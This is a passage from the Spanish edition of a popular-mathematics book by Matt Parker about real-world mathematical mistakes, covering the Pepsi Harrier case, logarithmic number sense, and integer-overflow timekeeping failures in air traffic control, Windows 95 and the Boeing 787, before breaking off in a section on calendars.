


¿Qué	 hace	 que	 un	 puente	 se	 tambalee	 cuando	 no	 estaba	 previsto	 que	 fuera
así?	 ¿Cómo	 es	 posible	 que	 miles	 de	 millones	 de	 euros	 se	 esfumen	 en	 un
instante?	¿O	que	un	edificio	tiemble	cuando	una	clase	de	gimnasia	que	salta	al
ritmo	 de	 una	 determinada	 canción	 iguala	 su	 frecuencia	 de	 resonancia?	 La
respuesta	 a	 todas	 estas	 preguntas	 son	 las	 matemáticas.	 O,	 para	 ser	 más
exactos,	lo	que	sucede	cuando	las	matemáticas	fallan	en	el	mundo	real.

Nuestras	 vidas	 están	 fundamentadas	 en	 las	 matemáticas:	 programas
informáticos,	 economía,	 ingeniería;	 la	mayoría	 de	 las	 veces	 funcionan	 y	 no
nos	percatamos	de	que	están	ahí	hasta	que…	dejan	de	hacerlo.	Explorando	y
explicando	 una	 retahíla	 de	 errores,	 accidentes	 y	 percances,	Matt	 Parker	 nos
muestra,	en	esta	comedia	de	errores	matemáticos,	las	extrañas	formas	en	que
las	matemáticas	nos	hacen	tropezar,	y	lo	que	esto	revela	sobre	sobre	el	lugar
fundamental	que	ocupan	en	nuestro	mundo.

Un	libro	lleno	de	acertijos,	retos,	calcetines	geométricos,	chistes	sobre	código
binario	 y	 tres	 errores	 deliberados	 que	 desafía	 al	 lector	 más	 audaz	 y	 nos
reconcilia	 con	 esta	 ciencia	 que,	 excepto	 cuando	 la	 saboteamos,	 puede	 ser
nuestro	mejor	aliado.	Equivocarse	nunca	ha	sido	tan	divertido.
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Sí,	soy	consciente	de	que	dedicar	un	libro	sobre	errores	a	tu
esposa	es	a	su	vez	un	pequeño	error.
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Cero

INTRODUCCIÓN
En	1995,	Pepsi	puso	en	marcha	una	promoción	en	la	que	la	gente	podía	sumar
puntos	Pepsi	para	luego	canjearlos	por	artículos	de	la	compañía.	Una	camiseta
costaba	75	puntos,	 unas	 gafas	 de	 sol,	 175,	 y	 había	 incluso	una	 chaqueta	 de
cuero	que	se	podía	canjear	por	1.450	puntos.	Llevar	puestos	los	tres	artículos
al	mismo	 tiempo	 te	 confería	un	 aspecto	muy	de	 los	noventa.	El	 anuncio	de
televisión	en	el	que	anunciaban	la	campaña	de	puntos	por	artículos	presentaba
a	un	individuo	que	hacía	justamente	eso.

Pero	la	gente	que	realizó	el	anuncio	quería	finalizarlo	con	algo	surrealista.
Así	 que,	 ataviado	 con	 la	 camiseta,	 las	 gafas	 y	 la	 chaqueta	 de	 cuero,	 el
protagonista	va	a	su	colegio	volando	con	su	reactor	Harrier.	Según	el	anuncio,
este	avión	militar	podía	ser	tuyo	por	siete	millones	de	puntos	Pepsi.

La	 broma	 es	 bastante	 sencilla:	 cogen	 la	 idea	 de	 los	 puntos	 Pepsi	 y	 la
extrapolan	 hasta	 que	 suena	 ridícula.	 Un	 guion	 cómico	 clásico.	 Pero	 da	 la
impresión	 de	 que	 no	 realizaron	 los	 cálculos	 matemáticos.	 Sin	 duda,	 siete
millones	parece	un	número	muy	grande,	pero	no	creo	que	el	equipo	que	creó
el	 anuncio	 se	 molestara	 en	 hacer	 números	 y	 comprobar	 si	 esa	 cifra	 era	 lo
suficientemente	grande.

Sin	 embargo,	 alguien	 sí	 que	 lo	 hizo.	 En	 esa	 época,	 cada	 reactor	 AV-8
Harrier	II	le	costaba	al	Cuerpo	de	Marines	de	Estados	Unidos	más	de	veinte
millones	 de	 dólares	 y,	 afortunadamente,	 existía	 una	 forma	 sencilla	 de
convertir	 los	 dólares	 estadounidenses	 en	 puntos	 Pepsi:	 Pepsi	 permitía	 que
cualquiera	pudiese	comprar	puntos	adicionales	a	diez	centavos	el	punto.	No
estoy	 familiarizado	 con	 el	 mercado	 de	 segunda	mano	 de	 aviones	militares,
pero	un	precio	de	700.000	dólares	por	un	avión	de	veinte	millones	parece	una
buena	 inversión.	 Y	 eso	 es	 lo	 que	 hizo	 John	 Leonard,	 quien	 intentó	 sacar
provecho	de	ello.

Y	no	fue	solo	un	patético	«intentó».	Fue	a	por	todas.	Según	las	reglas	de
la	 promoción,	 la	 persona	 interesada	 tenía	 que	 rellenar	 un	 formulario	 del
catálogo	original	de	Pepsi,	intercambiar	un	mínimo	de	quince	puntos	e	incluir
un	cheque	para	cubrir	el	coste	de	cualquier	punto	adicional	que	le	faltara	para
el	artículo	deseado,	más	diez	dólares	por	gastos	de	envío.	John	cumplió	con
todos	esos	 requisitos.	Rellenó	un	 formulario	original,	 incluyó	quince	puntos
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de	 productos	Pepsi	 y	 constituyó	 un	 depósito	 de	 700.008,50	 dólares	 con	 sus
abogados	para	garantizar	el	cheque.	¡El	tipo	consiguió	reunir	el	dinero!	Iba	en
serio.

Al	principio,	Pepsi	rechazó	su	petición:	«El	reactor	Harrier	que	aparece	en
el	 anuncio	 de	 Pepsi	 no	 es	 real	 y	 lo	 incluimos	 simplemente	 para	 crear	 un
anuncio	 divertido».	 Pero	 Leonard	 ya	 se	 había	 asesorado	 por	 abogados	 y
estaba	 preparado	 para	 luchar.	 Sus	 abogados	 contraatacaron:	 «Les	 pedimos
formalmente	 que	 cumplan	 con	 su	 compromiso	 y	 lleven	 a	 cabo
inmediatamente	 las	 disposiciones	 necesarias	 para	 enviar	 el	 nuevo	 reactor
Harrier	 a	nuestro	cliente».	Pepsi	no	cedió.	Leonard	 los	demandó	y	 fueron	a
juicio.

El	 caso	 generó	 una	 gran	 polémica	 sobre	 si	 el	 anuncio	 en	 cuestión	 era
claramente	 una	 broma	 o	 si	 alguien	 se	 lo	 podía	 tomar	 en	 serio.	 Las	 notas
oficiales	del	juez	reconocen	que	el	caso	se	va	a	convertir	en	algo	ridículo:	«La
insistencia	del	demandante	en	que	el	anuncio	es	una	oferta	seria	requiere	que
el	tribunal	explique	por	qué	el	anuncio	es	cómico.	Explicar	por	qué	un	chiste
es	divertido	es	una	tarea	abrumadora».

¡Pero	les	dieron	una	oportunidad!

El	comentario	del	adolescente	del	anuncio	de	que	volar	en	el	reactor	Harrier	para	ir	a	la	escuela
«seguro	que	gana	al	autobús»	pone	de	manifiesto	la	actitud	sorprendentemente	despreocupada
respecto	 a	 la	 dificultad	 relativa	 y	 el	 peligro	 de	 pilotar	 un	 avión	 de	 combate	 sobre	 un	 área
residencial,	en	lugar	de	optar	por	el	transporte	público.

Ningún	colegio	dispondría	de	una	zona	de	aterrizaje	para	el	avión	de	combate	de	un	estudiante,
o	toleraría	el	alboroto	que	provocaría	la	utilización	del	reactor.

En	 vista	 de	 la	 bien	 conocida	 función	 del	 reactor	 Harrier,	 o	 sea,	 atacar	 y	 destruir	 objetivos
terrestres	 y	 aéreos,	 el	 reconocimiento	 armado	 y	 la	 interceptación	 aérea,	 además	 de	 la	 guerra
antiaérea	ofensiva	y	defensiva,	suponer	que	un	reactor	de	esas	características	se	puede	utilizar
como	transporte	para	ir	por	las	mañanas	a	la	escuela	no	es	nada	serio.

Leonard	nunca	obtuvo	su	reactor,	y	el	juicio	Leonard	contra	Pepsico,	Inc.
ya	es	parte	de	la	historia	del	derecho.	Personalmente,	encuentro	reconfortante
que,	 si	 digo	algo	que	creo	que	es	«humor	 surrealista»,	 exista	un	precedente
legal	que	me	proteja	de	las	personas	que	se	lo	tomen	seriamente.	Y	si	eso	le
supone	un	problema	a	alguien,	que	 reúna	 los	 suficientes	puntos	Parker	para
recibir	gratis	una	fotografía	mía	en	plan	despreocupado	(se	aplicará	un	cargo
por	franqueo	y	envío).

Pepsi	 dio	 los	 pasos	 necesarios	 para	 protegerse	 de	 problemas	 futuros	 y
relanzó	la	campaña	cambiando	el	valor	del	Harrier	a	700	millones	de	puntos
Pepsi.	Me	parece	increíble	que	no	escogieran	esta	cantidad	elevada	en	primer
lugar.	No	es	que	7	millones	sonara	más	divertido;	simplemente,	la	compañía
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no	 se	 preocupó	 de	 hacer	 los	 cálculos	matemáticos	 oportunos	 cuando	 eligió
una	cantidad	elevada	arbitraria.

Como	 humanos,	 no	 somos	 buenos	 juzgando	 el	 tamaño	 de	 las	 cifras
elevadas.	 E	 incluso	 cuando	 sabemos	 que	 una	 es	mayor	 que	 otra,	 no	 somos
conscientes	de	la	envergadura	de	la	diferencia.	En	2012	tuve	que	aparecer	en
las	noticias	de	la	BBC	para	explicar	lo	grande	que	era	un	billón.	La	deuda	del
Reino	Unido	había	sobrepasado	el	billón	de	libras	esterlinas	y	acudieron	a	mí
para	 que	 les	 explicase	 que	 ese	 es	 un	 número	 muy	 grande.	 Al	 parecer,
vociferar	 «¡Es	 realmente	 grande,	 devolvemos	 la	 conexión	 al	 estudio!»	 fue
insuficiente,	así	que	tuve	que	poner	un	ejemplo.

Utilicé	mi	método	favorito	de	comparar	números	grandes	con	el	 tiempo.
Sabemos	 que	 un	millón,	 un	millardo	 y	 un	 billón	 son	 cantidades	 diferentes,
pero	a	menudo	no	apreciamos	el	acusado	incremento	que	hay	entre	ellas.	Un
millón	 de	 segundos	 contados	 desde	 ahora	 son	 tan	 solo	 once	 días	 y	 catorce
horas.	 No	 está	 mal.	 Podría	 esperar	 todo	 ese	 tiempo.	 Son	 menos	 de	 dos
semanas.	Un	millardo	de	segundos	es	más	de	treinta	y	un	años.

Un	billón	de	segundos	contados	desde	este	momento	nos	situaría	en	el	año
33700	e.	c.

Esos	 sorprendentes	 números	 tienen	 sentido	 si	 pensamos	 tan	 solo	 un
momento.	Millón,	millardo	y	billón	son	cada	uno	de	ellos	mil	veces	más	que
el	anterior.	Un	millón	de	segundos	son	aproximadamente	un	tercio	de	un	mes,
por	lo	que	un	millardo	de	segundos	son	unos	330	(un	tercio	de	mil)	meses.	Y
si	un	millardo	son	treinta	y	un	años,	más	o	menos,	entonces	está	claro	que	un
billón	son	unos	31.000	años.

Durante	nuestras	vidas,	aprendemos	que	los	números	son	lineales,	que	los
espacios	que	hay	entre	ellos	son	todos	iguales.	Si	contamos	de	uno	a	nueve,
cada	número	es	una	unidad	más	que	el	anterior.	Si	le	preguntamos	a	cualquier
persona	 qué	 número	 está	 a	 medio	 camino	 entre	 uno	 y	 nueve,	 responderá
cinco,	 pero	 solo	 porque	 eso	 es	 lo	 que	 le	 han	 enseñado.	 ¡Abrid	 los	 ojos!
Instintivamente,	los	humanos	perciben	los	números	de	forma	logarítmica,	no
lineal.	 Un	 niño	 pequeño	 o	 alguien	 que	 no	 haya	 sido	 adoctrinado	 por	 la
educación	existente	dirá	que	el	número	que	se	halla	a	medio	camino	entre	el
uno	y	el	nueve	es	el	tres.

Tres	 es	 una	 clase	 diferente	 de	 punto	 medio.	 Es	 el	 punto	 medio
logarítmico,	 lo	 que	 significa	 que	 es	 el	 punto	 medio	 con	 respecto	 a	 la
multiplicación	en	lugar	de	a	la	suma.	1	×	3	=	3.	3	×	3	=	9.	Puedes	pasar	de	1	a
9	ya	sea	añadiendo	dos	pasos	iguales	de	cuatro,	o	multiplicando	por	dos	pasos
iguales	de	 tres.	Por	 lo	que	 el	 «punto	medio	utilizando	 la	multiplicación»	es
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tres,	y	eso	es	lo	que	hacen	los	humanos	por	defecto	hasta	que	nos	enseñan	a
hacerlo	de	otra	forma.

Cuando	se	pidió	a	algunos	miembros	del	grupo	 indígena	mundurukú	del
Amazonas	que	colocaran	unos	puntos	en	el	grupo	al	que	pertenecían,	entre	un
punto	y	diez	puntos,	colocaron	grupos	de	tres	puntos	en	el	centro.	Si	el	lector
tiene	 acceso	 a	 un	 niño	 de	 edad	 preescolar	 o	 menor	 a	 cuyos	 padres	 no	 les
importe	 que	 experimente	 con	 ellos,	 harán	 algo	 parecido	 cuando	 se	 les	 pida
que	distribuyan	números.

Incluso	 después	 de	 toda	 una	 vida	 con	 una	 educación	 que	 trata	 con
números	 pequeños,	 existe	 un	 instinto	 vestigial	 que	 nos	 impulsa	 a	 ver	 los
números	grandes	como	logarítmicos;	a	entender	que	el	hueco	existente	entre
un	billón	y	un	millardo	es	más	o	menos	igual	que	el	salto	existente	entre	un
millón	 y	 un	 millardo,	 porque	 ambos	 son	 mil	 veces	 más	 grandes	 que	 el
anterior.	 En	 realidad,	 el	 salto	 que	 conduce	 al	 billón	 es	 mucho	 mayor:	 la
diferencia	entre	vivir	hasta	los	treinta	y	pocos	y	llegar	a	una	época	en	la	que
tal	vez	la	humanidad	ya	no	exista.

Nuestros	 cerebros	 humanos	 no	 están	 cableados	 para	 ser	 buenos	 en
matemáticas	por	defecto.	No	me	malinterpreten:	 somos	buenos	en	un	 rango
fantástico	 de	 habilidades	 numéricas	 y	 espaciales;	 incluso	 los	 bebés	 pueden
calcular	el	número	de	puntos	que	hay	en	una	página	y	realizar	una	aritmética
básica	con	ellos.	También	aparecemos	en	un	mundo	que	está	equipado	para	el
lenguaje	y	el	pensamiento	 simbólico.	Pero	 las	habilidades	que	nos	permiten
sobrevivir	 y	 formar	 comunidades	 no	 necesariamente	 engloban	 las
matemáticas	 académicas.	 Una	 escala	 logarítmica	 es	 una	 forma	 válida	 de
disponer	y	comparar	números,	pero	las	matemáticas	también	utilizan	la	recta
numérica	lineal.

Todos	los	humanos	somos	necios	cuando	se	trata	de	aprender	matemáticas
académicas.	Es	un	proceso	mediante	 el	 cual	 cogemos	 aquello	 con	 lo	que	 la
evolución	 nos	 ha	 dotado	 y	 extendemos	 nuestras	 capacidades	más	 allá	 de	 lo
razonable.	 No	 nacimos	 con	 ninguna	 clase	 de	 capacidad	 o	 habilidad	 para
comprender	de	forma	intuitiva	qué	son	las	fracciones,	los	números	negativos
o	muchos	otros	 conceptos	 extraños	desarrollados	por	 las	matemáticas,	 pero,
con	el	 tiempo,	nuestro	cerebro	puede	aprender	 lentamente	a	 lidiar	con	ellos.
Actualmente,	 tenemos	 sistemas	 educativos	 que	 obligan	 a	 los	 estudiantes	 a
estudiar	matemáticas	 y,	 con	 el	 suficiente	 entreno,	 nuestros	 cerebros	 pueden
aprender	 a	 pensar	 matemáticamente.	 Pero,	 si	 esas	 habilidades	 dejan	 de
practicarse,	 el	 cerebro	 humano	 regresa	 rápidamente	 a	 la	 configuración	 de
fábrica.
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Un	 tipo	 de	 cupón	 de	 lotería	 británica	 para	 rascar	 tuvo	 que	 retirarse	 del
mercado	 la	 misma	 semana	 en	 que	 fue	 lanzado.	 Camelot,	 compañía
responsable	de	la	lotería	británica,	lo	eliminó	porque	«confundía	al	jugador».
El	 cupón	 se	 llamaba	 «Dinero	 fresco»	 y	 se	 presentaba	 con	 una	 temperatura
impresa	 en	 él.	 Si	 después	 de	 rascar,	 el	 cupón	 mostraba	 una	 temperatura
inferior	 al	 valor	 objetivo,	 ganaba.	 Pero	 parece	 ser	 que	 muchos	 jugadores
tenían	un	problema	con	los	números	negativos…

Uno	de	mis	cupones	decía	que	tenía	que	encontrar	temperaturas	menores	que	–8.	Los	números
que	destapé	fueron	–6	y	–7,	por	lo	que	pensé	que	había	ganado,	y	lo	mismo	pensó	la	mujer	de	la
tienda.	Pero	cuando	escaneó	el	cupón,	la	máquina	dijo	que	no	era	así.	Llamé	a	Camelot	y	me
vino	con	el	cuento	de	que	–6	es	mayor,	no	menor,	que	–8,	pero	yo	no	lo	veo	igual.

Lo	 que	 demuestra	 que	 la	 cantidad	 de	 matemáticas	 que	 utilizamos	 en
nuestra	 sociedad	 moderna	 es	 increíble	 y	 aterradora.	 Como	 especie,	 hemos
aprendido	 a	 explorar	 y	 utilizar	 las	 matemáticas	 para	 hacer	 cosas	 que
sobrepasan	 lo	que	nuestros	 cerebros	pueden	procesar	 de	 forma	natural.	Nos
permiten	 lograr	 objetivos	 que	 van	 más	 allá	 de	 aquello	 para	 lo	 que	 fue
diseñado	 nuestro	 hardware.	 Cuando	 estamos	 operando	 más	 allá	 de	 la
intuición	podemos	realizar	las	cosas	más	interesantes,	pero	también	es	cuando
somos	 más	 vulnerables.	 Una	 simple	 equivocación	 matemática	 puede	 pasar
inadvertida	para	tener	luego	consecuencias	terribles.

El	 mundo	 actual	 está	 basado	 en	 las	 matemáticas:	 programación
informática,	 economía,	 ingeniería…,	 todo	 son	 matemáticas	 con	 apariencias
diferentes.	 Así	 que	 todas	 las	 clases	 de	 equivocaciones	 matemáticas
aparentemente	 inocuas	pueden	 tener	consecuencias	muy	extrañas.	Este	 libro
es	una	colección	de	mis	errores	matemáticos	preferidos	de	todos	los	tiempos.
Errores	 como	 los	 que	 aparecen	 en	 las	 páginas	 siguientes	 no	 son	 solo
graciosos,	 son	 reveladores.	 Descorren	 brevemente	 el	 telón	 para	 poner	 de
manifiesto	las	matemáticas	que,	por	regla	general,	pasan	desapercibidas	entre
bastidores.	Es	como	si,	tras	nuestra	hechicería	moderna,	resultase	que	Oz	hace
horas	extras	trabajando	con	un	ábaco	y	una	regla	de	cálculo.	Es	solo	cuando
algo	va	mal	que	de	repente	nos	damos	cuenta	de	hasta	dónde	nos	han	hecho
llegar	las	matemáticas	y	de	lo	larga	que	podría	ser	la	caída.	Mi	intención	no	es
de	ninguna	manera	reírme	de	 las	personas	responsables	de	estos	errores.	No
hay	 duda	 de	 que	 yo	mismo	he	 cometido	 bastantes	 errores.	Todos	 lo	 hemos
hecho.	 Como	 desafío	 adicional,	 y	 por	 pura	 diversión,	 he	 cometido
deliberadamente	 tres	 errores	 en	 este	 libro.	 ¡Hacedme	 saber	 si	 los	 habéis
encontrado	todos!
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Uno

PERDIENDO	LA	NOCIÓN	DEL	TIEMPO
El	 14	 de	 septiembre	 de	 2004,	 unos	 ochocientos	 aviones	 estaban	 realizando
vuelos	 de	 larga	 distancia	 sobre	 el	 sur	 de	 California.	 Un	 error	 matemático
estaba	 a	punto	de	 amenazar	 las	 vidas	de	decenas	de	miles	de	pasajeros.	De
buenas	 a	 primeras,	 el	Centro	 de	Control	 del	Tráfico	Aéreo	 de	Los	Ángeles
perdió	el	contacto	de	voz	por	radio	con	todos	los	aviones.	El	pánico	cundió	de
manera	justificada.

La	comunicación	por	 radio	estuvo	caída	durante	unas	 tres	horas,	 tiempo
durante	 el	 cual	 los	 controladores	 utilizaron	 sus	 móviles	 personales	 para
contactar	con	otros	centros	de	control	del	 tráfico	aéreo	para	que	 los	aviones
resintonizaran	sus	comunicaciones.	No	se	produjo	ningún	accidente,	pero,	en
medio	de	ese	caos,	diez	aviones	volaron	más	cerca	unos	de	otros	de	 lo	que
permite	 la	 reglamentación	 (5	 millas	 náuticas	 horizontalmente,	 o	 2.000	 pies
verticalmente);	dos	pares	pasaron	a	unas	dos	millas	uno	del	otro.	Se	retrasaron
cuatrocientos	 vuelos	 que	 aún	 estaban	 en	 tierra	 y	 otros	 seiscientos	 fueron
cancelados.	Todo	ello	debido	a	un	error	matemático.

Los	detalles	oficiales	sobre	la	naturaleza	exacta	de	qué	fue	lo	que	falló	son
muy	escasos,	pero	sabemos	que	fue	debido	a	un	error	de	cronometraje	en	los
ordenadores	del	centro	de	control.	Parece	ser	que	los	sistemas	de	control	del
tráfico	aéreo	contaban	el	tiempo	empezando	en	4.294.967.295	y	descontando
una	 unidad	 cada	 milisegundo.	 Lo	 que	 significa	 que	 tardarían	 49	 días,	 17
horas,	2	minutos	y	47,296	segundos	en	llegar	a	cero.

Por	 lo	 general,	 la	 máquina	 se	 reiniciaría	 antes	 de	 que	 eso	 pasara,	 y	 la
cuenta	atrás	empezaría	de	nuevo	desde	4.294.967.295.	Por	lo	que	sé,	algunas
personas	 eran	 conscientes	 del	 problema	 potencial,	 por	 lo	 que	 la	 norma	 de
actuación	era	reiniciar	el	sistema	al	menos	cada	treinta	días.	Pero	esta	era	solo
una	 forma	 de	 bordear	 el	 problema;	 no	 se	 hacía	 nada	 para	 corregir	 el	 error
matemático	 subyacente,	 es	 decir,	 que	 nadie	 había	 comprobado	 cuántos
milisegundos	habría	en	el	tiempo	de	ejecución	del	sistema.	Así	pues,	en	2004,
funcionó	accidentalmente	durante	cincuenta	días	seguidos,	alcanzó	el	cero	y
se	apagó.	Ochocientos	aviones	que	sobrevolaban	una	de	las	mayores	ciudades
del	mundo	corrieron	un	gran	riesgo	porque,	básicamente,	alguien	no	escogió
un	número	lo	suficientemente	grande.
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Rápidamente,	 algunos	 culparon	 a	 una	 reciente	 actualización	 de	 los
sistemas	 informáticos	para	que	utilizaran	una	variante	del	 sistema	operativo
Windows.	 Algunas	 de	 las	 primeras	 versiones	 de	 Windows	 (muy
especialmente	 Windows	 95)	 sufrían	 exactamente	 el	 mismo	 problema.
Siempre	que	iniciabas	un	programa,	Windows	contaba	los	milisegundos	para
dar	el	«tiempo	del	sistema»	que	haría	funcionar	al	resto	de	programas.	Pero,
una	vez	que	el	tiempo	del	sistema	Windows	llegaba	a	4.294.967.295,	volvía	a
empezar	 de	 cero.	 Algunos	 programas	 (controladores,	 que	 permiten	 que	 el
sistema	 operativo	 interactúe	 con	 dispositivos	 externos)	 tendrían
repentinamente	 un	 problema	 con	 el	 tiempo	 al	 contar	 hacia	 atrás.	 Estos
controladores	necesitan	 tener	una	noción	del	 tiempo	para	 asegurarse	de	que
los	dispositivos	están	respondiendo	con	regularidad	y	no	se	cuelguen	durante
mucho	 tiempo.	 Cuando	 Windows	 les	 informó	 de	 que	 el	 tiempo	 había
empezado	 abruptamente	 a	 ir	 hacia	 atrás,	 dejarían	 de	 funcionar	 y	 con	 ellos
todo	el	sistema.

No	está	del	todo	claro	si	el	culpable	fue	el	propio	Windows	o	si	fue	una
nueva	parte	del	código	informático	del	sistema	del	centro	de	control.	Pero,	sea
lo	que	fuere,	sí	que	sabemos	que	el	culpable	es	el	número	4.294.967.295.	No
fue	 lo	 suficientemente	 grande	para	 los	 ordenadores	 caseros	 de	 la	 década	de
1990	y	no	lo	era	para	el	control	del	tráfico	aéreo	a	principios	de	la	década	del
2000.	Oh,	y	 tampoco	 fue	 lo	 suficientemente	grande	en	2015	para	el	Boeing
787	Dreamliner.

El	 problema	 del	 Boeing	 787	 está	 en	 el	 sistema	 que	 controlaba	 los
generadores	 eléctricos.	 Al	 parecer,	 controlaban	 el	 tiempo	 utilizando	 un
contador	que	sumaba	una	unidad	cada	10	milisegundos	(es	decir,	cien	veces
en	un	segundo),	y	se	paraba	en	2.147.483.647	(sospechosamente	cerca	de	la
mitad	de	4.294.967.295…).	Esto	significa	que	el	Boeing	787	podía	perder	su
suministro	eléctrico	si	estaba	en	marcha	de	forma	continua	durante	248	días,
13	 horas,	 13	 minutos	 y	 56,47	 segundos.	 Esa	 cifra	 era	 tan	 grande	 que	 la
mayoría	de	los	aviones	se	reiniciaban	antes	de	que	hubiera	un	problema,	pero
era	 lo	 suficientemente	 corta	 como	 para	 que	 fuera	 factible	 quedarse	 sin
suministro	 eléctrico.	 La	 Administración	 Federal	 de	 Aviación	 describió	 la
situación	de	esta	manera:

El	contador	interno	del	software	de	las	unidades	de	control	del	generador	(GCU	por	sus	siglas
en	inglés)	se	desbordará	después	de	248	días	de	suministro	continuo,	haciendo	que	la	GCU	pase
a	modo	seguro.	Si	las	cuatro	GCU	principales	(asociadas	con	los	generadores	instalados	en	el
motor)	fueran	puestas	en	marcha	al	mismo	tiempo,	después	de	248	días	de	suministro	continuo,
las	 cuatro	 pasarán	 a	modo	 seguro	 al	mismo	 tiempo,	 con	 lo	 cual	 se	 pierde	 todo	 el	 suministro
eléctrico	AC,	sea	cual	sea	la	fase	del	vuelo.
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Creo	que	«sea	cual	sea	la	fase	del	vuelo»	es	la	forma	oficial	de	la	FAA	de
decir:	«Se	podría	apagar	en	pleno	vuelo».	Su	versión	oficial	de	lo	que	había
que	hacer	para	que	el	vuelo	no	tuviera	problemas	era	que	había	que	realizar
«tareas	 de	 mantenimiento	 de	 manera	 reiterada	 para	 la	 desactivación	 del
suministro	 eléctrico».	 Es	 decir,	 cualquiera	 que	 tuviera	 un	Boeing	 787	 tenía
que	recordar	apagarlo	y	encenderlo	de	nuevo.	Es	la	forma	habitual	de	arreglar
un	problema	informático.	Desde	entonces,	Boeing	ha	actualizado	su	programa
para	solucionar	el	problema,	para	que	preparar	el	avión	para	el	despegue	no
tenga	que	implicar	un	reinicio	rápido.

Cuando	4,3	millardos	de	milisegundos	no	son	suficientes

Así	pues,	¿por	qué	Microsoft,	el	Centro	de	Control	de	Tráfico	Aéreo	de	Los
Ángeles	 y	 Boeing	 se	 pondrían	 como	 límite	 un	 número	 supuestamente
arbitrario	 de	 alrededor	 de	 4,3	 millardos	 (o	 su	 mitad)	 cuando	 se	 trata	 de
controlar	el	paso	del	tiempo?	Sin	duda,	da	la	impresión	de	que	se	trata	de	un
problema	muy	extendido.	Hay	una	pista	muy	importante	si	transformamos	el
número	4.294.967.295	en	binario.	Escrito	con	el	código	informático	de	ceros
y	 unos	 pasa	 a	 ser	 11111111111111111111111111111111;	 una	 cadena	 de
treinta	y	dos	unos	consecutivos.

La	mayoría	 de	 los	 humanos	nunca	necesitan	 ni	 acercarse	 a	 los	 circuitos
actuales	y	 al	 código	binario	 en	 los	que	 están	basados	 los	ordenadores.	Solo
necesitan	 preocuparse	 por	 los	 programas	 y	 aplicaciones	 que	 utilizan	 en	 sus
dispositivos	y,	ocasionalmente,	el	sistema	operativo	en	el	que	funcionan	esos
programas	(como	Windows	o	iOS).	Todos	ellos	utilizan	los	dígitos	habituales
(del	 0	 al	 9)	 del	 sistema	 de	 numeración	 de	 base	 10	 que	 todos	 conocemos	 y
amamos.

Pero	bajo	todo	esto	se	encuentra	el	código	binario.	Cuando	alguien	utiliza
Windows	en	un	ordenador	o	iOS	en	un	móvil,	está	interactuando	solo	con	la
interfaz	gráfica	del	usuario,	o	GUI	(por	sus	siglas	en	inglés),	que	en	inglés	se
pronuncia	 deliciosamente	 «gooey»	 (empalagoso)).	 Por	 debajo	 de	 la	GUI	 es
donde	 todo	 se	 complica.	Hay	 capas	 de	 código	 informático	 que	 recogen	 los
clics	 del	 ratón	 y	 los	 desplazamientos	 hacia	 la	 izquierda	 que	 hace	 con	 él	 el
humano	 que	 utiliza	 el	 dispositivo	 y	 los	 convierte	 en	 el	 rigoroso	 código
máquina	de	unos	y	ceros	que	es	el	nativo	de	los	ordenadores.

Si,	 en	un	pedazo	de	papel,	 dispusiéramos	de	un	espacio	para	 solo	 cinco
dígitos,	 el	 número	 más	 grande	 que	 podríamos	 escribir	 sería	 99.999.
Habríamos	llenado	cada	lugar	con	el	dígito	más	grande	disponible.	Lo	que	los
sistemas	de	Microsoft,	el	control	de	tráfico	aéreo	y	Boeing	tienen	en	común
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es	que	eran	sistemas	de	números	binarios	de	32	bits,	lo	que	significa	que,	por
defecto,	el	número	más	grande	que	pueden	escribir	es	 treinta	y	dos	unos	en
binario,	o	4.294.967.295	en	base	10.

Era	 ligeramente	peor	en	sistemas	que	quisieran	usar	uno	de	 los	 treinta	y
dos	 espacios	 para	 algo	 más.	 Si	 quisieras	 utilizar	 ese	 pedazo	 de	 papel	 con
espacio	 para	 cinco	 símbolos	 para	 escribir	 un	 número	 negativo,	 necesitarías
dejar	el	primer	espacio	libre	para	colocar	en	él	un	signo	positivo	o	negativo,
lo	 que	 implicaría	 que	 podrías	 escribir	 todos	 los	 números	 existentes	 entre	 –
9.999	y	+9.999.	Se	cree	que	el	sistema	de	Boeing	utilizaba	esos	«números	con
signo»,	por	 lo	que,	una	vez	ocupado	el	primer	 espacio[1],	 solo	disponían	de
sitio	para	un	máximo	de	31	unos,	lo	que	se	traduce	en	2.147.483.647.	Contar
solo	centisegundos	en	lugar	de	milisegundos,	les	facilitaba	más	tiempo,	pero
no	el	suficiente.

Afortunadamente,	 es	 un	 problema	 que	 ya	 es	 pasado.	 Los	 sistemas
informáticos	modernos	son,	por	regla	general,	de	64	bits,	lo	que	les	permite,
por	defecto,	utilizar	números	mucho	mayores.	El	valor	máximo	posible	sigue
siendo,	 por	 supuesto,	 finito,	 por	 lo	 que	 cualquier	 sistema	 informático	 está
asumiendo	 que	 finalmente	 será	 apagado	 y	 encendido	 de	 nuevo.	 Pero	 si	 un
sistema	 de	 64	 bits	 cuenta	 milisegundos,	 no	 alcanzará	 ese	 límite	 hasta	 que
hayan	 pasado	 584,9	 millones	 de	 años.	 Por	 lo	 que	 el	 lector	 no	 necesita
preocuparse:	 necesitará	 hacer	 un	 reinicio	 solo	 dos	 veces	 cada	 millardo	 de
años.

Calendarios

Los	 métodos	 análogos	 para	 controlar	 el	 tiempo	 que	 utilizamos	 antes	 de	 la
invención	 del	 mundo	 de	 los	 ordenadores,	 al	 menos,	 nunca	 dejarán	 de
utilizarse	por	completo.	Las	manecillas	de	un	reloj	pueden	seguir	girando;	se
pueden	 añadir	 nuevas	 páginas	 al	 calendario	 a	medida	 que	 van	 pasando	 los
años.	Olvidaos	de	los	milisegundos:	solo	hay	que	preocuparse,	como	antaño,
de	 los	 días	 y	 los	 años,	 y	 no	 cometeremos	 errores	 matemáticos	 que	 nos
arruinen	el	día.

O	eso	es	lo	que	pensó	el	equipo	ruso	de	tiro	cuando	llegaron	a	los	Juegos
Olímpicos	de	1908,	celebrados	en	Londres,	un	par	de	días	antes	de	 la	 fecha
prevista	 para	 el	 comienzo	de	 la	 prueba	 internacional	 de	 tiro,	 el	 10	 de	 julio.
Pero,	si	el	lector	se	fija	en	los	resultados	de	las	Olimpiadas	de	1908,	verá	que
están	 listados	 todos	 los	países,	pero	no	aparece	ningún	 resultado	del	 equipo
ruso	en	la	disciplina	de	tiro.	Y	eso	es	porque	lo	que	era	10	de	julio	para	los
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rusos	 era	 23	 de	 julio	 en	Gran	 Bretaña	 (y,	 de	 hecho,	 en	 la	mayor	 parte	 del
mundo).	Los	rusos	estaban	utilizando	un	calendario	diferente.

Parece	extraño	que	algo	tan	sencillo	como	un	calendario	pueda	funcionar
tan	mal	como	para	que	un	equipo	de	deportistas	internacionales	se	presente	en
las	 Olimpiadas	 dos	 semanas	 tarde.	 Pero	 los	 calendarios	 son	 mucho	 más
